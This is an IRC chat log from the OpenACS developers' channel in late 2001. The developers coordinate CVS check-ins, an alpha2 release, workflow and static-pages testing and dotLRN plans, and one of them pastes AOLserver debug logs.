20:48:21 [k2pts]

davb: the search contracts are not in the cvs (that's what I was trying to tell you earlier)

20:48:31 [davb]

yes same silly mistake

20:48:35 [donb]

Everyone, now - all at once!

20:51:13 [k2pts]

donb: I think I am addicted to this IRC channel. I haven't used IRC for years and now can't do without it -- I don't see the wsdl/nssoap happening if I continue like this. I think you should close it down.

20:51:35 [davb]

k2pts: I will help on nssoap etc...

20:51:37 [donb]

I've had similar thoughts ... nothing ever gets done now that we have IRC chat ... :)

20:51:56 [davb]

really alot of debugging gets done :)

20:52:02 [k2pts]

lol

20:52:23 [donb]

Yeah, sure, people put on a show whenever I join ...

20:53:20 [davb]

ok, i added the missing files.

20:53:37 [k2pts]

davb: :)

20:53:50 [ola]

ok. lemme try.

20:54:05 [donb]

So I'm thinking of rolling an alpha2 on Monday ... originally I was thinking about a beta but so much has changed (bug fixes - I'm cleaning up a bunch of CR binary file handling in places like general-comments and file-storage), the new acs-workflow, maybe etp for Oracle if Jon gets done, lots of bug fixes ...

20:54:28 [davb]

Right.

20:54:34 [k2pts]

sounds good to me

20:55:24 [davb]

Don: I think that keyword stuff should be ready by then. It's mostly functional already.

20:55:34 [donb]

OK ... I think we'll be able to move to beta pretty quickly. I haven't had time to look at hooking up InterMedia to the new search package yet. Dave - that's excellent!

20:55:57 [ola]

yes! long live Dave!

20:56:21 [donb]

I'll need stuff checked in Sunday if I'm to roll a tarball on Monday ...

20:57:25 [davb]

I must test static-pages on Oracle, any volunteers? If not I'll fire it up later.

20:57:26 [k2pts]

sunday is good (acs-workflow-4.3 should be fully ready by then -- btw, found two testers for the pgsql version john and hazmat)

20:57:47 [donb]

I'm riping out all the package-specific code that dumps CR binary data back to the user and replacing the code with calls to a CR utility that knows about PG/Oracle and db/filesystem issues ...

20:57:53 [donb]

(ripping out) ...

20:57:58 [k2pts]

"testers": figure of speech (not official testers but still good enough)

20:58:09 [donb]

I'd offer but I'm swamped already ...

20:58:36 [davb]

np, I can do it, oracle is already installed.

20:58:40 [k2pts]

anyone volunteers for the oracle version of acs-workflow-4.3?

20:58:53 [donb]

Official or not it would be good if they'd e-mail Simom with their results so he can track stuff...

20:59:10 [davb]

If I have a chance I will look at it.

20:59:19 [k2pts]

davb, sounds good. should I send the tarball now or when I am done? (I think it is ready for oracle testing)

20:59:28 [davb]

don: should the keyword stuff go in its own package?

20:59:41 [donb]

I think so ...

21:00:12 [davb]

k2pts: you can send it to me now.

21:00:26 [davb]

donb: Ok. me too.

21:00:33 [k2pts]

davb: on its way. still can't see the contracts under sql/postgresql

21:00:51 [davb]

hmmm. I did an add and it said they were checked in...

21:00:51 [donb]

We're going to want to build a framework for KM-related stuff based on service contract eventually so might as well break out this first attempt ...

21:01:19 [davb]

Right. So far I haven't looked at hooking it up to SC.

21:01:48 [k2pts]

oh, you are indexing manually?

21:02:07 [davb]

This is just to manage keywords. No searching...

21:02:12 [davb]

so far.

21:02:14 [donb]

For this first go-around that's OK, I think ... we'll want to put serious thought into the right way to structure stuff ... he's talking about his keyword package, Neophytos ...

21:02:17 [k2pts]

right, sorry.

21:02:42 [davb]

k2pts: they weren't there, but they really are now.

21:03:09 [davb]

(static-pages-sc-create.sql)

21:03:20 [davb]

* davb needs more CVS practice.

21:03:36 [k2pts]

davb: how do you do that asterisk thing?

21:03:52 [davb]

its /me whatever you want to say

21:04:09 [k2pts]

* k2pts thanx

21:04:37 [donb]

* donb like this?

21:06:00 [k2pts]

davb: statics-pages (CVS) looks great now

21:06:29 [jerryasher]

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21:06:36 [k2pts]

hi jerry

21:06:46 [jerryasher]

Hi.

21:06:57 [jerryasher]

davb, your problem is that you need a "w"

21:07:02 [davb]

k2pts: only 10 trys.

21:07:09 [k2pts]

:)

21:07:13 [davb]

jerryasher: ? where

21:07:19 [jerryasher]

Or maybe you need a "d", I can't be sure.

21:07:35 [k2pts]

davb: I had my problems with CVS too.

21:07:45 [jerryasher]

Topic is 'Welcome to Troubleshooting davbs netork problem '

21:08:07 [davb]

davb has changed the topic to: OpenACS | Free Web Toolkit | http://openacs.org

21:08:22 [donb]

Anybody know much about tagging releases in a CVS tree?

21:10:19 [jerryasher]

Dave, I have a tcl proc now, that given "items", spits out RSS 0.91 or RSS 1.00.

21:10:35 [jerryasher]

And the blogs can now spit out either, AND will ping weblogs when they are updated.

21:10:37 [jerryasher]

http://www.theashergroup.com/bboard/blog?topic_id=4&as_of_julian_date=2452213&comments_p=f

21:10:44 [davb]

jerryasher: great.

21:11:03 [hazmat]

http://cvsbook.red-bean.com/cvsbook.html

21:11:07 [jerryasher]

I'm going to bundle that up and release it later today.

21:11:51 [jerryasher]

Don, I have tagged releases, but I am so far from being an expert, or confident, I am just staying silent.

21:12:17 [k2pts]

http://www.arsdigita.com/asj/version-control/

21:13:30 [donb]

Yeah, I know about the doc, do you really want me to experiment on the OpenACS4 tree, though? :)

21:14:00 [k2pts]

that would be fun :)

21:14:06 [rbm]

donb: I've tagged the 3.x tree

21:14:07 [donb]

(I was referring to the aD doc)

21:14:20 [jerryasher]

You could: post a poll with the CVS commands you propose trying, and see what the poll results are :)

21:14:24 [rbm]

Now I have to remember how I did it, but IIRC it's just cvs tag.

21:14:26 [k2pts]

lol

21:14:44 [rbm]

www.refcards.com has a great CVS reference card

21:14:54 [k2pts]

jerry's idea sounds good to me

21:15:04 [davb]

* davb gets out his CVS refcard and tapes it to the monitor

21:17:11 [donb]

Yeah, polling sounds good ... I'll look at the tags Roberto choose for his beta etc, we should probably settle on a standard way to denote stuff. The PG group just finally decided on a standard way of denoting alpha, beta etc in the tree then promptly failed to follow it :)

21:17:17 [hazmat]

or you could just dump cvs, subversion.tigris.org

21:17:35 [vinod]

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21:17:42 [k2pts]

hey vinod

21:18:10 [vinod]

hey k2pts!

21:18:14 [hazmat]

hmm.. /pvt/home could use an sc-contract for registering additional panels to the workplace? thoughts?

21:18:32 [donb]

I don't know if they're doing anything with ical, I e-mailed them my code from ACES. I may just drop it in soon. My implementation was incomplete as ACES didn't have timezone information available to it and you need that for repeating events ... (I found a suitable kludge that fooled Outlook, though)

21:19:22 [k2pts]

hazmat: I am waiting for the new portals package

21:19:25 [donb]

The new portal package (OF) is service-contract based and dotLRN will include a workplace-like page that you should be able to customize ...

21:19:47 [hazmat]

donb could you post your ical code to file-storage, i and i think others would find it useful...

21:20:36 [donb]

It would be almost as easy to drop it in :) Bug me if I don't get it done or in file storage by Monday ...

21:20:46 [k2pts]

next thing on my todo list after the workflow package is an object-display contract for the community-member.tcl page

21:21:13 [hazmat]

i'm going to work on a webmail prototype next week me thinks.

21:21:36 [k2pts]

* k2pts hazmat you are my hero!

21:21:39 [donb]

Did you solve the RP issue? It would be more attractive if it would integrate ...

21:22:02 [k2pts]

* k2pts Don too :)

21:22:13 [hazmat]

donb: yes, i'm not sure if you checked the bboard lately, but i have rp integration and it can use ats !

21:22:47 [k2pts]

k2pts says that Don is the most active member the past few weeks

21:23:13 [hazmat]

s/lately/today

21:23:15 [donb]

No, I didn't see that on the bboard. Last I heard you'd solved ats but not rp ...

21:23:37 [donb]

That's cool, Kapil ...

21:23:43 [hazmat]

rp was nesc. for ats

21:24:08 [hazmat]

because ats is uplevel/var hell

21:24:23 [k2pts]

hazmat: are you going to use qmail,other???

21:24:51 [k2pts]

* k2pts completely ignorant about webmail stuff

21:25:03 [donb]

Connect with OF - they've done work before with qmail to stuff mail into OpenACS and they need to do more for dotLRN ...

21:25:06 [hazmat]

no, i think the original webmail design is kinda of broken, a webmail interface should talk directly to the imap server ala imp (horde.org)

21:26:05 [hazmat]

as for sending mail, it probably would make sense to use qmail, but i'll probably just smtp directly to a host for the prototype

21:26:11 [donb]

Does everyone provide imap servers these day?

21:27:00 [hazmat]

mostly... pop introduces alot of additional burdens, the lack of preparsed structure, locked mailboxes, searching, etc.

21:27:21 [hazmat]

if people thinks its required though they should speak up.

21:27:48 [donb]

smtp direct is fine, I think ... for instance Henry Minsky worked on a Japanese site that sends a *lot* of mail and they found it necessary to split it off onto a separate mail server. So the option, at least, smtp out should probably be an option ...

21:28:11 [donb]

boy that's mangled language ... sorry!

21:28:30 [k2pts]

no, that sounds good to me Don :)

21:28:43 [hazmat]

if it needs to be enterprise scalable, the mail should get dropped of in a directory to be injected directly into qmail/postfix queues.

21:28:59 [talli]

don when can we expect to see some docs or something about dotlrn?

21:29:14 [hazmat]

hell, i would settle just for seeing it

21:30:31 [ola]

davb: what files get added with a filesystem scan? only my ".html" files got added and not a ".css" file I had in there.

21:30:49 [davb]

ola. its hardcorded as just html.

21:31:08 [davb]

It probably should be a parameters in the future.

21:31:58 [donb]

Ugh ... it should certainly be parameterized!

21:32:24 [ola]

ok

21:32:35 [donb]

Talli - not sure. Ben's put up some internal design docs for my enjoyment, since I'll be working on an events package for Sloan.

21:32:50 [donb]

But nothing's really ready for public consumption yet ...

21:32:55 [davb]

heh. I will look into it. shouldn't be too tricky, just a list of extensions to scan.

21:32:59 [talli]

will the alpha code be released?

21:33:23 [donb]

I think so, Talli ... it's not in my hands, though, it's really up to Sloan.

21:33:44 [talli]

does sloan have the copyright on the code?

21:33:58 [donb]

I don't know but it will be GPL'd ...

21:34:21 [donb]

They let aD have the copyright on the ACES stuff AFAIK

21:34:27 [k2pts]

donb, do you know when the alpha code is going to be released (approximately)

21:35:08 [donb]

Mid-november was the original schedule but Sept. 11th may've messed that up. I know OF missed virtually two weeks of work afterwards ...

21:37:06 [k2pts]

do you know if they are doing any work on mounting trees of nodes to the sitemap?

21:38:26 [donb]

dotLRN requires that but I don't know if they'll be working on a general solution to mount "package suites" to the sitemap. In other words, every class instance requires a suite of packages ...

21:38:44 [donb]

Feel free to ping Ben on the issue ...

21:39:23 [donb]

I've only been following dotLRN to the extent I need to for the package furfly will be providing Sloan...

21:39:46 [donb]

Existing OpenACS stuff keeps me busy enough!

21:39:56 [abbaJ]

abbaJ has quit

21:40:16 [k2pts]

one final question: On the http://dotlrn.mit.edu page they say that .LRN is compatible with both Oracle

21:40:17 [k2pts]

(proprietary, expensive) and PostGRES (opensource, free) databases." Do you know if they are also porting stuff to pgsql?

21:41:40 [donb]

OF has to deliver a working Oracle version in time for next (spring) term. Ben's committed to supporting PG but it's not clear that they'll get done in parallel due to the need to get it running for Oracle at Sloan.

21:42:04 [k2pts]

ok Don thanks

21:42:08 [donb]

Of course, I'm also committed to supporting it under PG it's gonna get done! :)

21:42:22 [ola]

while executing

21:42:22 [ola]

"ns_pg_bind 0or1row nsdb0 {

21:42:22 [ola]

select static_page__grant_permission(:item_id,acs__magic_object_id('the_public'),

21:42:22 [ola]

'general_comments_create', :recur..."

21:44:12 [donb]

Well ... I'm going to get back to work on CR binary content issues ... have a good day, folks ...

21:44:20 [donb]

donb has quit

21:46:21 [k2pts]

need to go off too guys.

21:46:22 [k2pts]

cheers

21:46:35 [k2pts]

k2pts has left #openacs

21:53:25 [abbaJ]

abbaJ has joined #openacs

22:03:00 [ola]

select object_id, date, event

22:03:00 [ola]

from search_observer_queue

22:03:00 [ola]

order by date asc;'

22:03:00 [ola]

[31/Oct/2001:00:08:04][6271.2051][-sched-] Notice: dbinit: sql(localhost::infogettable): '

22:03:00 [ola]

select object_id, date, event

22:03:02 [ola]

from search_observer_queue

22:03:04 [ola]

order by date asc

22:03:06 [ola]

'

22:03:08 [ola]

[31/Oct/2001:00:08:04][6271.2051][-sched-] Notice: Done running scheduled proc search_indexer.

22:03:10 [ola]

[31/Oct/2001:00:08:34][6271.2051][-sched-] Notice: Running scheduled proc search_indexer...

22:03:12 [ola]

[31/Oct/2001:00:08:34][6271.2051][-sched-] Warning: APM: FtsEngineDriver does not exist

22:03:14 [ola]

[31/Oct/2001:00:08:34][6271.2051][-sched-] Notice: Querying '

22:03:16 [ola]

select object_id, date, event

22:03:18 [ola]

from search_observer_queue

22:03:20 [ola]

order by date asc;'

22:03:22 [ola]

[31/Oct/2001:00:08:34][6271.2051][-sched-] Notice: dbinit: sql(localhost::infogettable): '

22:03:24 [ola]

select object_id, date, event

22:03:26 [ola]

from search_observer_queue

22:03:28 [ola]

order by date asc

22:03:30 [ola]

'

22:03:32 [ola]

[31/Oct/2001:00:08:34][6271.2051][-sched-] Notice: Done running scheduled proc search_indexer.

22:08:09 [ola]

[31/Oct/2001:00:11:26][6271.21509][-conn8-] Notice: Querying '

22:08:09 [ola]

select count(*)

22:08:09 [ola]

from dual

22:08:09 [ola]

where acs_permission__permission_p('2390', '2237', 'read') =

22:08:10 [ola]

't';'

22:08:12 [ola]

[31/Oct/2001:00:11:26][6271.21509][-conn8-] Notice: dbinit: sql(localhost::infogettable): '

22:08:14 [ola]

select count(*)

22:08:16 [ola]

from dual

22:08:18 [ola]

where acs_permission__permission_p('2390', '2237', 'read') =

22:08:20 [ola]

't'

22:08:22 [ola]

'

22:08:24 [ola]

[31/Oct/2001:00:11:26][6271.21509][-conn8-] Notice: ns_getform using encoding iso8859-1 for charset iso-8859-1

22:08:27 [ola]

[31/Oct/2001:00:11:26][6271.21509][-conn8-] Notice: Querying '

22:08:29 [ola]

select filename from static_pages where static_page_id = '2399';'

22:08:31 [ola]

[31/Oct/2001:00:11:26][6271.21509][-conn8-] Notice: dbinit: sql(localhost::infogettable): '

22:08:33 [ola]

select filename from static_pages where static_page_id = '2399'

22:08:35 [ola]

'

22:08:37 [ola]

[31/Oct/2001:00:11:26][6271.21509][-conn8-] Warning: APM: bgcolor does not exist[31/Oct/2001:00:11:26][6271.21509][-conn8-] Warning: APM: textcolor does not exist

22:08:40 [ola]

[31/Oct/2001:00:11:26][6271.21509][-conn8-] Warning: APM: EnabledP does not exist

22:08:42 [ola]

[31/Oct/2001:00:11:26][6271.21509][-conn8-] Warning: propagating abortion from /web/infogettable/packages/static-pages/www/page-visit.tcl (status 500): 'Error in filename')

22:08:45 [ola]

[31/Oct/2001:00:11:34][6271.2051][-sched-] Notice: Running scheduled proc search_indexer...

22:08:47 [ola]

[31/Oct/2001:00:11:34][6271.2051][-sched-] Warning: APM: FtsEngineDriver does not exist

22:08:49 [ola]

[31/Oct/2001:00:11:34][6271.2051][-sched-] Notice: Querying '

22:08:52 [ola]

select object_id, date, event

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from search_observer_queue

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order by date asc;'

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* AaronSw disconnects

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22:42:42 [markd2]

heh. Dude at SuSE called me a BOFH

22:43:35 [rbm]

why?

22:44:12 [markd2]

I suggested to the mailing folks to automatically kill postings that were all in HTML

22:44:30 [markd2]

when they were soliciting advice on what to do about attachments

22:45:25 [rbm]

* rbm agrees with markd2

22:45:32 [markd2]

you

22:45:38 [markd2]

you're a real BOFH too :-)

22:45:48 [rbm]

listar does a very good job of dealing with attachments

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22:49:39 [ola]

davb: grr. I didn't realize it was impossible to paste big chunks of text with /msg... sorry about the pollution folks:-/

22:50:01 [rbm]

ola: create a private channel for that

22:50:09 [davb_]

ola: np.

22:50:29 [ola]

rbm: how?

22:50:38 [davb_]

I know where the errant file is :)

22:50:49 [ola]

:-)

22:51:50 [davb_]

* davb_ goes to clean the house. bbl

22:52:05 [ola]

bye Dave

22:54:26 [ola]

good night folks.

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